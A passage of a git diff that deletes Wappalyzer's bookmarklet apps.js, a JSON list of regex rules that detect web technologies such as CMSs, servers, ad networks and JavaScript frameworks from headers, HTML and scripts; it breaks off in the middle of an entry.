- - - - - - diff --git a/Wappalyzer/drivers/bookmarklet/js/apps.js b/Wappalyzer/drivers/bookmarklet/js/apps.js deleted file mode 100644 index dba48ea..0000000 --- a/Wappalyzer/drivers/bookmarklet/js/apps.js +++ /dev/null @@ -1,3839 +0,0 @@ -var json = -{ - "categories": { - "1": "cms", - "2": "message-boards", - "3": "database-managers", - "4": "documentation-tools", - "5": "widgets", - "6": "ecommerce", - "7": "photo-galleries", - "8": "wikis", - "9": "hosting-panels", - "10": "analytics", - "11": "blogs", - "12": "javascript-frameworks", - "13": "issue-trackers", - "14": "video-players", - "15": "comment-systems", - "16": "captchas", - "17": "font-scripts", - "18": "web-frameworks", - "19": "miscellaneous", - "20": "editors", - "21": "lms", - "22": "web-servers", - "23": "cache-tools", - "24": "rich-text-editors", - "25": "javascript-graphics", - "26": "mobile-frameworks", - "27": "programming-languages", - "28": "operating-systems", - "29": "search-engines", - "30": "web-mail", - "31": "cdn", - "32": "marketing-automation", - "33": "web-server-extensions", - "34": "databases", - "35": "maps", - "36": "advertising-networks", - "37": "network-devices", - "38": "media-servers", - "39": "webcams", - "40": "printers", - "41": "payment-processors", - "42": "tag-managers", - "43": "paywalls" - }, - "apps": { - "1C-Bitrix": { - "website": "www.1c-bitrix.ru", - "cats": [ 1 ], - "headers": { "X-Powered-CMS": "Bitrix Site Manager", "Set-Cookie": "BITRIX_" }, - "html": "(?:]+components/bitrix|(?:src|href)=\"/bitrix/(?:js|templates))", - "script": "1c-bitrix", - "implies": "PHP" - }, - "1und1": { - "website": "1und1.de", - "cats": [ 6 ], - "url": "/shop/catalog/browse\\?sessid=", - "implies": "PHP" - }, - "2z Project": { - "website": "2zproject-cms.ru", - "cats": [ 1 ], - "meta": { "generator": "2z project ([\\d.]+)\\;version:\\1" } - }, - "3dCart": { - "website": "www.3dcart.com", - "cats": [ 1, 6 ], - "headers": { "X-Powered-By": "3DCART" }, - "script": "(?:twlh(?:track)?\\.asp|3d_upsell\\.js)" - }, - "3DM": { - "website": "www.3ware.com", - "cats": [ 19 ], - "html": "3ware 3DM([\\d\\.]+)?\\;version:\\1", - "implies": "3ware" - }, - "3ware": { - "website": "www.3ware.com", - "cats": [ 22 ], - "headers": { "Server": "3ware\\/?([\\d\\.]+)?\\;version:\\1" } - }, - "Accessible Portal": { - "website": "www.accessibleportal.com", - "cats": [ 1 ], - "meta": { "generator": "Accessible Portal" }, - "implies": "PHP" - }, - "Adcash": { - "website": "adcash.com", - "cats": [ 36 ], - "env": "^(?:ac_bgclick_URL|ct_(?:siteunder|tag|n(?:SuUrl(?:Opp)?)|Su(?:Loaded|Url)))$", - "script": "^[^\\/]*//(?:[^\\/]+\\.)?adcash\\.com/(?:script|ad)/", - "url": "^https?://(?:[^\\/]+\\.)?adcash\\.com/script/pop_" - }, - "AddThis": { - "website": "www.addthis.com", - "cats": [ 5 ], - "script": "addthis\\.com/js/", - "env": "^addthis" - }, - "AdInfinity": { - "website": "adinfinity.com.au", - "cats": [ 36 ], - "script": "adinfinity\\.com\\.au" - }, - "Adobe ColdFusion": { - "website": "adobe.com/products/coldfusion-family.html", - "cats": [ 18 ], - "url": "\\.cfm(?:$|\\?)", - "html": "<!-- START headerTags\\.cfm", - "headers": { "Cookie": "CFTOKEN=" }, - "script": "/cfajax/", - "env": "^_cfEmails$", - "implies": "CFML" - }, - "Adobe CQ5": { - "website": "adobe.com/products/cq.html", - "cats": [ 1 ], - "html": [ "<div class=\"[^\"]*parbase", "_jcr_content", "/etc/designs/", "/etc/clientlibs/" ], - "implies": "Java" - }, - "Adobe GoLive": { - "website": "www.adobe.com/products/golive", - "cats": [ 20 ], - "meta": { "generator": "Adobe GoLive(?:\\s([\\d.]+))?\\;version:\\1" } - }, - "Adobe RoboHelp": { - "website": "adobe.com/products/robohelp.html", - "cats": [ 4 ], - "meta": { "generator": "^Adobe RoboHelp(?: ([\\d]+))?\\;version:\\1" }, - "script": "(?:wh(?:utils|ver|proxy|lang|topic|msg)|ehlpdhtm)\\.js", - "env": "^gbWh(?:Ver|Lang|Msg|Util|Proxy)$" - }, - "AdRiver": { - "website": "adriver.ru", - "cats": [ 36 ], - "env": "^adriver$", - "html": "(?:<embed[^>]+(?:src=\"https?://mh\\d?\\.adriver\\.ru/|flashvars=\"[^\"]*(?:http:%3A//(?:ad|mh\\d?)\\.adriver\\.ru/|adriver_banner))|<(?:(?:iframe|img)[^>]+src|a[^>]+href)=\"https?://ad\\.adriver\\.ru/)", - "script": "(?:adriver\\.core\\.\\d\\.js|https?://(?:content|ad|masterh\\d)\\.adriver\\.ru/)" - }, - "AdRoll": { - "website": "adroll.com", - "cats": [ 36 ], - "env": "^adroll_", - "script": "(?:a|s)\\.adroll\\.com" - }, - "Advanced Web Stats": { - "website": "www.advancedwebstats.com", - "cats": [ 10 ], - "html": "aws\\.src = [^<]+caphyon-analytics", - "implies": "Java" - }, - "Advert Stream": { - "website": "www.advertstream.com", - "cats": [ 36 ], - "env": "^advst_is_above_the_fold$", - "script": "(?:ad\\.advertstream\\.com|adxcore\\.com)" - }, - "Adzerk": { - "website": "adzerk.com", - "cats": [ 36 ], - "env": "^ados(?:Results)?$", - "script": "adzerk\\.net/ados\\.js", - "html": "<iframe [^>]*src=\"[^\"]+adzerk\\.net" - }, - "Airee": { - "website": "xn--80aqc2a.xn--p1ai", - "cats": [ 31 ], - "headers": { "Server": "Airee" } - }, - "Akamai": { - "website": "akamai.com", - "cats": [ 31 ], - "headers": { "X-Akamai-Transformed": ".*" } - }, - "AlloyUI": { - "website": "www.alloyui.com", - "cats": [ 12 ], - "env": "^AUI$", - "script": "^https?://cdn\\.alloyui\\.com/", - "implies": [ "Twitter Bootstrap", "YUI" ] - }, - "Amaya": { - "website": "www.w3.org/Amaya", - "cats": [ 20 ], - "meta": { "generator": "Amaya(?: V?([\\d.]+[a-z]))?\\;version:\\1" } - }, - "amCharts": { - "website": "amcharts.com", - "cats": [ 25 ], - "script": "amcharts.*\\.js", - "env": "^AmCharts$" - }, - "Ametys": { - "website": "ametys.org", - "cats": [ 1 ], - "meta": { "generator": "(?:Ametys|Anyware Technologies)" }, - "script": "ametys\\.js", - "implies": "Java" - }, - "Amiro.CMS": { - "website": "amirocms.com", - "cats": [ 1 ], - "meta": { "generator": "Amiro" }, - "html": "system_(?:js\\.php\\?script=|css\\.php\\?styles)[^\"]+cv=([\\d.]+)\\;version:\\1", - "implies": "PHP" - }, - "AMPcms": { - "website": "www.ampcms.org", - "cats": [ 1 ], - "headers": { "X-AMP-Version": "([\\d.]+)\\;version:\\1", "Set-Cookie": "^AMP=" }, - "env": "^amp_js_init$", - "implies": "PHP" - }, - "Anchor CMS": { - "website": "anchorcms.com", - "cats": [ 1, 11 ], - "meta": { "generator": "Anchor CMS" }, - "implies": [ "PHP", "MySQL" ] - }, - "AngularJS": { - "website": "angularjs.org", - "cats": [ 12 ], - "env": "^angular$", - "script": [ "angular(?:\\-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "/([\\d.]+(\\-?rc[.\\d]*)*)/angular(\\.min)?\\.js\\;version:\\1", "angular.*\\.js" ] - }, - "AOLserver": { - "website": "aolserver.com", - "cats": [ 22 ], - "headers": { "Server": "AOLserver/?([\\d.]+)?\\;version:\\1" } - }, - "Apache": { - "website": "apache.org", - "cats": [ 22 ], - "headers": { "Server": "(?:Apache(?:$|/([\\d.]+)|[^/-])|(?:^|\\b)HTTPD)\\;version:\\1" } - }, - "Apache Hadoop": { - "website": "hadoop.apache.org", - "cats": [ 34 ], - "html": "type=\"text/css\" href=\"/static/hadoop\\.css\"" - }, - "Apache HBase": { - "website": "hbase.apache.org", - "cats": [ 34 ], - "html": "type=\"text/css\" href=\"/static/hbase\\.css\"" - }, - "Apache JSPWiki": { - "website": "jspwiki.org", - "cats": [ 8 ], - "url": "wiki\\.jsp", - "script": "jspwiki", - "html": "<html[^>]* xmlns:jspwiki=" - }, - "Apache Tomcat": { - "website": "tomcat.apache.org", - "cats": [ 22 ], - "headers": { "Server": "Apache-Coyote(/1\\.1)?\\;version:\\1?4.1+:" } - }, - "Apache Traffic Server": { - "website": "trafficserver.apache.org/", - "cats": [ 22 ], - "headers": { "Server": "ATS/?([\\d.]+)?\\;version:\\1" } - }, - "Apache Wicket": { - "website": "wicket.apache.org", - "cats": [ 18 ], - "env": "^Wicket", - "implies": "Java" - }, - "AppNexus": { - "website": "appnexus.com", - "cats": [ 36 ], - "html": "<(?:iframe|img)[^>]+adnxs\\.(?:net|com)", - "script": "adnxs\\.(?:net|com)" - }, - "Arc Forum": { - "website": "arclanguage.org", - "cats": [ 2 ], - "html": "ping\\.src = node\\.href;" - }, - "AsciiDoc": { - "website": "www.methods.co.nz/asciidoc", - "cats": [ 1, 20, 27 ], - "meta": { "generator": "^AsciiDoc ([\\d.]+)\\;version:\\1" }, - "env": "^asciidoc$" - }, - "ATEN": { - "website": "www.aten.com", - "cats": [ 22 ], - "headers": { "Server": "ATEN HTTP Server(:?\\(V?([\\d\\.]+)\\))?\\;version:\\1" } - }, - "ATG Web Commerce": { - "website": "oracle.com/us/products/applications/web-commerce/atg", - "cats": [ 6 ], - "headers": { "X-ATG-Version": "(?:ATGPlatform/([\\d.]+))?\\;version:\\1" }, - "html": "<[^>]+_DARGS" - }, - "Atlassian Confluence": { - "website": "www.atlassian.com/software/confluence/overview/team-collaboration-software", - "cats": [ 8 ], - "html": "Powered by <a href=[^>]+atlassian\\.com/software/confluence(?:[^>]+>Atlassian Confluence</a> ([\\d.]+))?\\;version:\\1", - "headers": { "X-Confluence-Request-Time": ".*" }, - "meta": { "confluence-request-time": ".*" }, - "implies": "Java" - }, - "Atlassian Jira": { - "website": "www.atlassian.com/software/jira/overview/", - "cats": [ 13 ], - "env": "^jira$", - "script": "/jira/s/", - "url": "/secure/Dashboard\\.jspa", - "html": "Powered by\\s+<a href=[^>]+atlassian\\.com/(?:software/jira|jira-bug-tracking/)[^>]+>Atlassian\\s+JIRA(?:[^v]*v(?:ersion: )?(\\d+\\.\\d+(\\.\\d+)?))?\\;version:\\1", - "implies": "Java" - }, - "Avangate": { - "website": "avangate.com", - "cats": [ 6 ], - "env": "^(?:__)?avng8_", - "html": "<link[^>]* href=\"^https?://edge\\.avangate\\.net/", - "script": "^https?://edge\\.avangate\\.net/" - }, - "AWStats": { - "website": "awstats.sourceforge.net", - "cats": [ 10 ], - "meta": { "generator": "AWStats ([\\d.]+(?: \\(build [\\d.]+\\))?)\\;version:\\1" }, - "implies": "Perl" - }, - "Backbone.js": { - "website": "documentcloud.github.com/backbone", - "cats": [ 12 ], - "script": "backbone.*\\.js", - "env": "^Backbone$", - "implies": "Underscore.js" - }, - "Banshee": { - "website": "www.banshee-php.org", - "cats": [ 1, 18 ], - "html": "Built upon the <a href=\"[^>]+banshee-php\\.org/\">[a-z]+</a>(?:v([\\d.]+))?\\;version:\\1", - "meta": { "generator": "Banshee PHP" }, - "implies": "PHP" - }, - "basket.js": { - "website": "addyosmani.github.io/basket.js/", - "cats": [ 12 ], - "script": "basket.*\\.js", - "env": "^basket$" - }, - "BaseHTTP": { - "website": "docs.python.org/2/library/basehttpserver.html", - "cats": [ 22 ], - "headers": { "Server": "BaseHTTP\\/?([\\d\\.]+)?\\;version:\\1" }, - "implies": "Python" - }, - "BIGACE": { - "website": "bigace.de", - "cats": [ 1 ], - "meta": { "generator": "BIGACE ([\\d.]+)\\;version:\\1" }, - "html": "(?:Powered by <a href=\"[^>]+BIGACE|<!--\\s+Site is running BIGACE)", - "implies": "PHP" - }, - "Bigcommerce": { - "website": "www.bigcommerce.com", - "cats": [ 6 ], - "url": "mybigcommerce\\.com", - "html": "<link href=[^>]+cdn\\d+\\.bigcommerce\\.com/v", - "script": "cdn\\d+\\.bigcommerce\\.com/v", - "env": "^compareProducts$" - }, - "BigDump": { - "website": "www.ozerov.de/bigdump.php", - "cats": [ 3 ], - "html": "<!-- <h1>BigDump: Staggered MySQL Dump Importer ver\\. ([\\d.b]+)\\;version:\\1", - "implies": [ "MySQL", "PHP" ] - }, - "Bigware": { - "website": "bigware.de", - "cats": [ 6 ], - "html": "(?:Diese <a href=[^>]+bigware\\.de|<a href=[^>]+/main_bigware_\\d+\\.php)", - "url": "(?:\\?|&)bigWAdminID=", - "headers": { "Set-Cookie": "(?:bigwareCsid|bigWAdminID)" }, - "implies": "PHP" - }, - "BittAds": { - "website": "bittads.com", - "cats": [ 36 ], - "script": "bittads\\.com/js/bitt\\.js$", - "env": "^bitt$" - }, - "Blip.tv": { - "website": "blip.tv", - "cats": [ 14 ], - "html": "<(?:param|embed|iframe)[^>]+blip\\.tv/play" - }, - "Blogger": { - "website": "www.blogger.com", - "cats": [ 11 ], - "meta": { "generator": "blogger" }, - "url": "\\.blogspot\\.com" - }, - "Boa": { - "website": "www.boa.org", - "cats": [ 22 ], - "headers": { "Server": "Boa\\/?([\\d\\.a-z]+)?\\;version:\\1" } - }, - "Bonfire": { - "website": "cibonfire.com", - "cats": [ 18 ], - "headers": { "Set-Cookie": "bf_session=" }, - "html": "Powered by <a[^>]+href=\"https?://(?:www\\.)?cibonfire\\.com[^>]*>Bonfire v([^<]+)\\;version:\\1", - "implies": "CodeIgniter" - }, - "Bolt": { - "website": "bolt.cm", - "cats": [ 1 ], - "meta": { "generator": "Bolt" }, - "implies": "PHP" - }, - "Brother": { - "website": "www.brother.com", - "cats": [ 40 ] - }, - "BrowserCMS": { - "website": "browsercms.org", - "cats": [ 1 ], - "meta": { "generator": "BrowserCMS ([\\d.]+)\\;version:\\1" }, - "implies": "Ruby" - }, - "BugSense": { - "website": "bugsense.com", - "cats": [ 10 ], - "script": "bugsense\\.js", - "env": "^BugSense$" - }, - "BugSnag": { - "website": "bugsnag.com", - "cats": [ 10 ], - "script": "bugsnag.*\\.js", - "env": "^BugSnag$" - }, - "Bugzilla": { - "website": "www.bugzilla.org", - "cats": [ 13 ], - "html": "href=\"enter_bug\\.cgi\">", - "implies": "Perl" - }, - "Burning Board": { - "website": "www.woltlab.com", - "cats": [ 2 ], - "html": "<a href=\"[^>]+woltlab\\.com.+Burning Board", - "implies": "PHP" - }, - "Business Catalyst": { - "website": "businesscatalyst.com", - "cats": [ 1 ], - "script": "CatalystScripts", - "html": "<!-- BC_OBNW -->" - }, - "BuySellAds": { - "website": "buysellads.com", - "cats": [ 36 ], - "script": "^https?://s\\d\\.buysellads\\.com/", - "html": "<script[^>]*>(?:(?!<\\/script>)(?:.|\\s))+?bsa\\.src\\s*=\\s*[\"'][^'\"]+s\\d\\.buysellads\\.com", - "env": "^_bsa" - }, - "Canon": { - "website": "www.canon.com", - "cats": [ 40 ] - }, - "CakePHP": { - "website": "cakephp.org", - "cats": [ 18 ], - "headers": { "Set-Cookie": "cakephp=" }, - "meta": { "application-name": "CakePHP" }, - "implies": "PHP" - }, - "Carbon Ads": { - "website": "carbonads.net", - "cats": [ 36 ], - "script": "[^\\/]*\\/\\/(?:engine|srv)\\.carbonads\\.com\\/", - "html": "<[a-z]+ [^>]*id=\"carbonads-container\"", - "env": "^_carbonads" - }, - "Cargo": { - "website": "cargocollective.com", - "cats": [ 1 ], - "meta": { "cargo_title": ".*" }, - "script": "/cargo\\.", - "html": "<link [^>]+Cargo feed", - "implies": "PHP" - }, - "Catwalk": { - "website": "www.canon.com", - "cats": [ 22 ], - "headers": { "Server": "Catwalk\\/?([\\d\\.]+)?\\;version:\\1" }, - "implies": "Canon" - }, - "CentOS": { - "website": "centos.org", - "cats": [ 28 ], - "headers": { "Server": "CentOS", "X-Powered-By": "CentOS" } - }, - "CFML": { - "website": "adobe.com/products/coldfusion-family.html", - "cats": [ 27 ] - }, - "CacheFly": { - "website": "www.cachefly.com", - "cats": [ 31 ], - "headers": { "Server": "^CFS ", "X-CF1": ".+", "X-CF2": ".+" } - }, - "Chameleon": { - "website": "chameleon-system.de", - "cats": [ 1 ], - "meta": { "generator": "chameleon-cms" }, - "implies": [ "Apache", "PHP" ] - }, - "Chamilo": { - "website": "www.chamilo.org", - "cats": [ 21 ], - "html": "\">Chamilo ([\\d.]+)</a>\\;version:\\1", - "meta": { "generator": "Chamilo ([\\d.]+)\\;version:\\1" }, - "headers": { "X-Powered-By": "Chamilo ([\\d.]+)\\;version:\\1" }, - "implies": "PHP" - }, - "Chartbeat": { - "website": "chartbeat.com", - "cats": [ 10 ], - "html": "function loadChartbeat\\(\\) \\{", - "script": "chartbeat\\.js" - }, - "Cherokee": { - "website": "www.cherokee-project.com", - "cats": [ 22 ], - "headers": { "Server": "Cherokee/([\\d.]+)\\;version:\\1" } - }, - "CherryPy": { - "website": "www.cherrypy.org", - "cats": [ 18, 22 ], - "headers": { "Server": "CherryPy\\/?([\\d\\.]+)?\\;version:\\1" }, - "implies": "Python" - }, - "Chitika": { - "website": "chitika.com", - "cats": [ 36 ], - "script": "scripts\\.chitika\\.net/", - "env": "ch_c(?:lient|olor_site_link)" - }, - "CKEditor": { - "website": "ckeditor.com", - "cats": [ 24 ], - "env": "^CKEDITOR$" - }, - "Cloudera": { - "website": "www.cloudera.com", - "cats": [ 34 ], - "headers": { "Server": "cloudera" } - }, - "ClickHeat": { - "website": "www.labsmedia.com/clickheat/index.html", - "cats": [ 10 ], - "script": "clickheat.*\\.js", - "env": "^clickHeat", - "implies": "PHP" - }, - "ClickTale": { - "website": "www.clicktale.com", - "cats": [ 10 ], - "html": "if\\(typeof ClickTale\\(Tag\\)*==\\\"function\\\"\\)", - "env": "^ClickTale" - }, - "Clicky": { - "website": "getclicky.com", - "cats": [ 10 ], - "script": "static\\.getclicky\\.com", - "env": "^clicky$" - }, - "CloudFlare": { - "website": "www.cloudflare.com", - "cats": [ 31 ], - "headers": { "Server": "cloudflare" }, - "env": "^CloudFlare$" - }, - "CMS Made Simple": { - "website": "cmsmadesimple.org", - "cats": [ 1 ], - "headers": { "Set-Cookie": "^CMSSESSID" }, - "meta": { "generator": "CMS Made Simple" }, - "implies": "PHP" - }, - "CMSimple": { - "website": "www.cmsimple.org/en", - "cats": [ 1 ], - "meta": { "generator": "CMSimple( [\\d.]+)?\\;version:\\1" }, - "implies": "PHP" - }, - "CO2Stats": { - "website": "co2stats.com", - "cats": [ 10 ], - "html": "src=[^>]+co2stats\\.com/propres\\.php" - }, - "CodeIgniter": { - "website": "codeigniter.com", - "cats": [ 18 ], - "headers": { "Set-Cookie": "(?:exp_last_activity|exp_tracker|ci_(?:session|(csrf_token)))\\;version:\\1?2+:" }, - "html": "<input[^>]+name=\"ci_csrf_token\"\\;version:2+", - "implies": "PHP" - }, - "CodeMirror": { - "website": "codemirror.net", - "cats": [ 19 ], - "env": "^CodeMirror$" - }, - "Commerce Server": { - "website": "commerceserver.net", - "cats": [ 6 ], - "headers": { "COMMERCE-SERVER-SOFTWARE": ".+" }, - "implies": "Microsoft ASP.NET" - }, - "CompaqHTTPServer": { - "website": "www.hp.com", - "cats": [ 22 ], - "headers": { "Server": "CompaqHTTPServer\\/?([\\d\\.]+)?\\;version:\\1" } - }, - "comScore": { - "website": "comscore.com", - "cats": [ 10 ], - "script": "\\.scorecardresearch\\.com/beacon\\.js|COMSCORE\\.beacon", - "html": "<iframe[^>]* (?:id=\"comscore\"|scr=[^>]+comscore)|\\.scorecardresearch\\.com/beacon\\.js|COMSCORE\\.beacon", - "env": "^_?COMSCORE$" - }, - "Concrete5": { - "website": "concrete5.org", - "cats": [ 1 ], - "script": "concrete/js/", - "meta": { "generator": "concrete5 - ([\\d.ab]+)\\;version:\\1" }, - "env": "^CCM_IMAGE_PATH$", - "implies": "PHP" - }, - "Connect": { - "website": "www.senchalabs.org/connect", - "cats": [ 18 ], - "headers": { "X-Powered-By": "^Connect$" }, - "implies": "node.js" - }, - "Contao": { - "website": "contao.org", - "cats": [ 1 ], - "html": [ "<!--[^>]+powered by (?:TYPOlight|Contao)[^>]*-->", "<link[^>]+(?:typolight|contao)\\.css" ], - "meta": { "generator": "^Contao Open Source CMS$" }, - "implies": "PHP" - }, - "Contenido": { - "website": "contenido.org/en", - "cats": [ 1 ], - "meta": { "generator": "Contenido ([\\d.]+)\\;version:\\1" }, - "implies": "PHP" - }, - "Contens": { - "website": "www.contens.com/en/pub/index.cfm", - "cats": [ 1 ], - "meta": { "generator": "Contensis CMS Version ([\\d.]+)\\;version:\\1" }, - "implies": [ "Java", "CFML" ] - }, - "ContentBox": { - "website": "www.gocontentbox.org", - "cats": [ 1, 11 ], - "meta": { "generator": "ContentBox powered by ColdBox" }, - "implies": "Adobe ColdFusion" - }, - "ConversionLab": { - "website": "www.trackset.it/conversionlab", - "cats": [ 10 ], - "script": "conversionlab\\.trackset\\.com/track/tsend\\.js" - }, - "Coppermine": { - "website": "coppermine-gallery.net", - "cats": [ 7 ], - "html": "<!--Coppermine Photo Gallery ([\\d.]+)\\;version:\\1", - "implies": "PHP" - }, - "Cosmoshop": { - "website": "cosmoshop.de", - "cats": [ 6 ], - "script": "cosmoshop_functions\\.js" - }, - "Cotonti": { - "website": "www.cotonti.com", - "cats": [ 1 ], - "meta": { "generator": "Cotonti" }, - "implies": "PHP" - }, - "CouchDB": { - "website": "couchdb.apache.org", - "cats": [ 22 ], - "headers": { "Server": "CouchDB/([\\d.]+)\\;version:\\1" } - }, - "cPanel": { - "website": "www.cpanel.net", - "cats": [ 9 ], - "headers": { "Server": "cpsrvd/([\\d.]+)\\;version:\\1" }, - "html": "<!-- cPanel" - }, - "CPG Dragonfly": { - "website": "dragonflycms.org", - "cats": [ 1 ], - "headers": { "X-Powered-By": "Dragonfly CMS" }, - "meta": { "generator": "CPG Dragonfly" }, - "implies": "PHP" - }, - "Craft CMS": { - "website": "buildwithcraft.com", - "cats": [ 1 ], - "headers": { "Set-Cookie": "CraftSessionId=" }, - "implies": "PHP" - }, - "Crazy Egg": { - "website": "crazyegg.com", - "cats": [ 10 ], - "env": "^CE2$", - "script": "cetrk\\.com/pages/scripts/\\d+/\\d+\\.js" - }, - "Criteo": { - "website": "criteo.com", - "cats": [ 36 ], - "script": "[^/]*//(?:cas\\.criteo\\.com|(?:[^/]\\.)?criteo\\.net)/", - "env": "^criteo" - }, - "Cross Pixel": { - "website": "datadesk.crsspxl.com", - "cats": [ 10 ], - "env": "^crsspxl$", - "script": "tag\\.crsspxl\\.com/s1\\.js" - }, - "CS Cart": { - "website": "www.cs-cart.com", - "cats": [ 6 ], - "env": "^fn_compare_strings$", - "html": [ " Powered by (?:<a href=[^>]+cs-cart\\.com|CS-Cart)", "(?:\\$|jQuery)\\.runCart\\('\\w'\\)" ], - "implies": "PHP" - }, - "CubeCart": { - "website": "www.cubecart.com", - "cats": [ 6 ], - "html": "(?:Powered by <a href=[^>]+cubecart\\.com|<p[^>]+>Powered by CubeCart)", - "meta": { "generator": "cubecart" }, - "implies": "PHP" - }, - "Cufon": { - "website": "cufon.shoqolate.com", - "cats": [ 17 ], - "script": "cufon-yui\\.js", - "env": "^Cufon$" - }, - "D3": { - "website": "d3js.org", - "cats": [ 25 ], - "script": "d3(?:\\. v\\d+)?(?:\\.min)?\\.js", - "env": "^d3$" - }, - "Dancer": { - "website": "perldancer.org", - "cats": [ 18 ], - "headers": { "X-Powered-By": "Perl Dancer ([\\d.]+)\\;version:\\1", "Server": "Perl Dancer ([\\d.]+)\\;version:\\1" }, - "implies": "Perl" - }, - "Danneo CMS": { - "website": "danneo.com", - "cats": [ 1 ], - "headers": { "X-Powered-By": "CMS Danneo ([\\d.]+)\\;version:\\1" }, - "meta": { "generator": "Danneo CMS ([\\d.]+)\\;version:\\1" }, - "implies": [ "Apache", "PHP" ] - }, - "Darwin": { - "website": "opensource.apple.com", - "cats": [ 28 ], - "headers": { "Server": "Darwin", "X-Powered-By": "Darwin" } - }, - "DataLife Engine": { - "website": "dle-news.ru", - "cats": [ 1 ], - "env": "^dle_root$", - "meta": { "generator": "DataLife Engine" }, - "implies": [ "PHP", "Apache" ] - }, - "David Webbox": { - "website": "www.tobit.com", - "cats": [ 22 ], - "headers": { "Server": "David-WebBox/([\\d.a]+ \\(\\d+\\))\\;version:\\1" } - }, - "Debian": { - "website": "debian.org", - "cats": [ 28 ], - "headers": { "Server": "Debian", "X-Powered-By": "(?:Debian|dotdeb|(sarge|etch|lenny|squeeze|wheezy|jessie))\\;version:\\1" } - }, - "debut": { - "website": "www.brother.com", - "cats": [ 22 ], - "headers": { "Server": "debut\\/?([\\d\\.]+)?\\;version:\\1" }, - "implies": "Brother" - }, - "DedeCMS": { - "website": "dedecms.com", - "cats": [ 1 ], - "env": "^DedeContainer", - "script": "dedeajax", - "implies": "PHP" - }, - "Dell": { - "website": "dell.com", - "cats": [ 40 ] - }, - "Deployd": { - "website": "deployd.com", - "cats": [ 12 ], - "script": "dpd\\.js", - "env": "^dpd$" - }, - "Demandware": { - "website": "demandware.com", - "cats": [ 6 ], - "headers": { "Server": "Demandware eCommerce Server" }, - "html": "<[^>]+demandware\\.edgesuite", - "env": "^dwAnalytics$" - }, - "DHTMLX": { - "website": "dhtmlx.com", - "cats": [ 12 ], - "script": "dhtmlxcommon\\.js" - }, - "DirectAdmin": { - "website": "www.directadmin.com", - "cats": [ 9 ], - "html": "<a[^>]+>DirectAdmin</a> Web Control Panel", - "headers": { "Server": "DirectAdmin Daemon v([\\d.]+)\\;version:\\1" }, - "implies": [ "PHP", "Apache" ] - }, - "Discourse": { - "website": "www.discourse.org/", - "cats": [ 2 ], - "env": "Discourse" - }, - "Disqus": { - "website": "disqus.com", - "cats": [ 15 ], - "script": "disqus_url", - "html": "<div[^>]+id=\"disqus_thread\"", - "env": "^DISQUS" - }, - "Django": { - "website": "djangoproject.com", - "cats": [ 18 ], - "html": "(?:powered by <a[^>]+>Django ?([\\d.]+)?|<div style=\"display:none\"><input name=\"csrfmiddlewaretoken\" value=\"[a-z\\d]{32}\" type=\"hidden\"></div>)\\;version:\\1", - "env": "^__admin_media_prefix__", - "implies": "Python" - }, - "Django CMS": { - "website": "django-cms.org", - "cats": [ 1 ], - "implies": "Django" - }, - "Dojo": { - "website": "dojotoolkit.org", - "cats": [ 12 ], - "script": "([\\d.]+)/dojo/dojo(?:\\.xd)?\\.js\\;version:\\1", - "env": "^dojo$" - }, - "Dokeos": { - "website": "dokeos.com", - "cats": [ 21 ], - "meta": { "generator": "Dokeos" }, - "html": "(?:Portal <a[^>]+>Dokeos|@import \"[^\"]+dokeos_blue)", - "headers": { "X-Powered-By": "Dokeos" }, - "implies": [ "PHP", "Xajax", "jQuery", "CKEditor" ] - }, - "DokuWiki": { - "website": "www.dokuwiki.org", - "cats": [ 8 ], - "meta": { "generator": "DokuWiki( Release [\\-\\d]+)?\\;version:\\1" }, - "headers": { "Set-Cookie": "DokuWiki=" }, - "implies": "PHP" - }, - "Dotclear": { - "website": "dotclear.org", - "cats": [ 1 ], - "implies": "PHP" - }, - "DotNetNuke": { - "website": "dotnetnuke.com", - "cats": [ 1 ], - "meta": { "generator": "DotNetNuke" }, - "script": "/js/dnncore\\.js", - "headers": { "DNNOutputCache": ".+", "X-Compressed-By": "DotNetNuke", "Set-Cookie": "DotNetNukeAnonymous=" }, - "html": "<!-- by DotNetNuke Corporation", - "env": "^DotNetNuke$", - "implies": "Microsoft ASP.NET" - }, - "Doxygen": { - "website": "stack.nl/~dimitri/doxygen", - "cats": [ 4 ], - "meta": { "generator": "Doxygen ([\\d.]+)\\;version:\\1" }, - "html": "(?:<!-- Generated by Doxygen ([\\d.]+)|<link[^>]+doxygen\\.css)\\;version:\\1" - }, - "DTG": { - "website": "www.dtg.nl", - "cats": [ 1 ], - "html": [ "<a href=\"http://www\\.dtg\\.nl/\"[^>]+>Site Powered by DTG", "var u=\\(\\('https:' == d\\.location\\.protocol\\) \\? 'https://resellerstat\\.mono\\.net/dtg/' : 'http://resellerstat\\.mono\\.net/dtg/'\\);" ], - "implies": "Mono.net" - }, - "DreamWeaver": { - "website": "www.adobe.com/products/dreamweaver", - "cats": [ 20 ], - "html": "(?:<!--[^>]*(?:InstanceBeginEditable|Dreamweaver([^>]+)target|DWLayoutDefaultTable)|function MM_preloadImages\\(\\) \\{)\\;version:\\1" - }, - "Drupal": { - "website": "drupal.org", - "cats": [ 1 ], - "script": "drupal\\.js", - "html": "<(?:link|style)[^>]+sites/(?:default|all)/(?:themes|modules)/", - "headers": { "X-Drupal-Cache": ".*", "X-Generator": "Drupal(?:\\s([\\d.]+))?\\;version:\\1", "Expires": "19 Nov 1978" }, - "env": "^Drupal$", - "implies": "PHP" - }, - "Drupal Commerce": { - "website": "drupalcommerce.org", - "cats": [ 6 ], - "html": "(?:id=\"block[_-]commerce[_-]cart[_-]cart|class=\"commerce[_-]product[_-]field)", - "implies": "Drupal" - }, - "dwhttpd": { - "website": "???", - "cats": [ 22 ], - "headers": { "Server": "dwhttpd\\/?([\\d\\.a-z]+)?\\;version:\\1" } - }, - "Dynamicweb": { - "website": "www.dynamicweb.dk", - "cats": [ 1, 6, 10 ], - "meta": { "generator": "Dynamicweb ([\\d.]+)\\;version:\\1" }, - "headers": { "Set-Cookie": "Dynamicweb=" }, - "implies": "Microsoft ASP.NET" - }, - "e107": { - "website": "e107.org", - "cats": [ 1 ], - "script": "[^a-z\\d]e107\\.js", - "headers": { "Set-Cookie": "e107_tz[^;]+=", "X-Powered-By": "e107" }, - "implies": "PHP" - }, - "EdgeCast": { - "website": "www.edgecast.com", - "cats": [ 31 ], - "headers": { "Server": "^EC(?:S|Acc)" }, - "url": "https?://(?:[^/]+\\.)?edgecastcdn\\.net/" - }, - "eHTTP": { - "website": "???", - "cats": [ 22 ], - "headers": { "Server": "\\beHTTP(?: v?([\\d\\.]+))?\\;version:\\1" }, - "implies": "HP ProCurve" - }, - "ELOG": { - "website": 